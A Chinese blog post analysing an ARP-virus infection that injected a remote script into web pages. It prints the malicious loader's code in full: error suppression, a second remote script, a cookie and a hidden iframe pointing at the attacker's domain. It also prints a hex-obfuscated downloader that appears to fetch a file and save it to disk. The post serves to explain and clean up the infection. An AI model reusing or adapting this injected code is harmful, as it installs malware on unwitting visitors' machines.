本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！
最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！
现象：
打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视msn.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；
来源：
经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；
分析：
1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：
document.writeln("<script>window.onerror=function(){return true;}</script>");
document.writeln("<script src="http://9-6.in/S368/NewJs2.js"></script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = "Cookie1=" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = "Cookie1=POPWINDOS;expires="+ Then.toGMTString() ");
document.writeln("document.write('<iframe width=0 height=0 src="http://9-6.IN/s368/T368.htm"></iframe>');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("</script>")
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉，真够狠的，呵呵，不这样怎么隐藏自己呢，哈哈！然后还有个JS文件 http://9-6.in/S368/NewJs2.js，先继续往下看，找到StartRun();运行一个函数，函数的主要作用是写COOKIE，日期为保存一天，然后还用隐藏框架加载了一个文件（http://9-6.IN/s368/T368.htm），其余就没有什么特别的了；
2、下载（http://9-6.in/S368/NewJs2.js）这个文件，代码如下：
StrInfo = "x3cx73x63x72x69x70x74x3ex77x69x6ex64x6fx77x2ex6fx6ex65x72x72x6fx72x3dx66x75x6ex63x74x69x6fx6ex28x29x7bx72x65x74x75x72x6e x74x72x75x65x3bx7dx3cx2fx73x63x72x69x70x74x3e" +" "+
"x3cx73x63x72x69x70x74x3e" +" "+
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" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
"x66x75x6ex63x74x69x6fx6e x47x6ex4dx73x28x6ex29 " +" "+
"x7b " +" "+
" x76x61x72 x6ex75x6dx62x65x72x4dx73 x3d x4dx61x74x68x2ex72x61x6ex64x6fx6dx28x29x2ax6ex3b" +" "+
" x72x65x74x75x72x6e '\x78x37x45\x78x35x34\x78x36x35\x78x36x44\x78x37x30'x2bx4dx61x74x68x2ex72x6fx75x6ex64x28x6ex75x6dx62x65x72x4dx73x29x2b'\x78x32x45\x78x37x34\x78x36x44\x78x37x30'x3b" +" "+
"x7d " +" "+
" x74x72x79 " +" "+
"x7b" +" "+
" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
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" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
" x41x53x2ex74x79x70x65x3dx31x3b" +" "+
" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
" x4bx78x2ex6fx70x65x6ex28"\x78x34x37\x78x34x35\x78x35x34"x2c x44x5ax2cx30x29x3b" +" "+
" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
" x4bx78x2ex73x65x6ex64x28x29x3b" +" "+
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" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
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" x76x61x72 x4ex73x54x6dx70x3dx63x46x2ex47x65x74x53x70x65x63x69x61x6cx46x6fx6cx64x65x72x28x30x29x3b x4ex73x31x3d x63x46x2ex42x75x69x6cx64x50x61x74x68x28x4ex73x54x6dx70x2cx4ex73x31x29x3b x41x53x2ex4fx70x65x6ex28x29x3bx41x53x2ex57x72x69x74x65x28x4bx78x2ex72x65x73x70x6fx6ex73x65x42x6fx64x79x29x3b" +" "+
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" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
"x7d " +" "+
" x63x61x74x63x68x28x4dx73x49x29 x7b x4dx73x49x3dx31x3b x7d" +" "+
" x4ex6fx73x6bx73x6cx61x3d''x3b" +" "+
"x3cx2fx73x63x72x69x70x74x3e"
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"](StrInfo);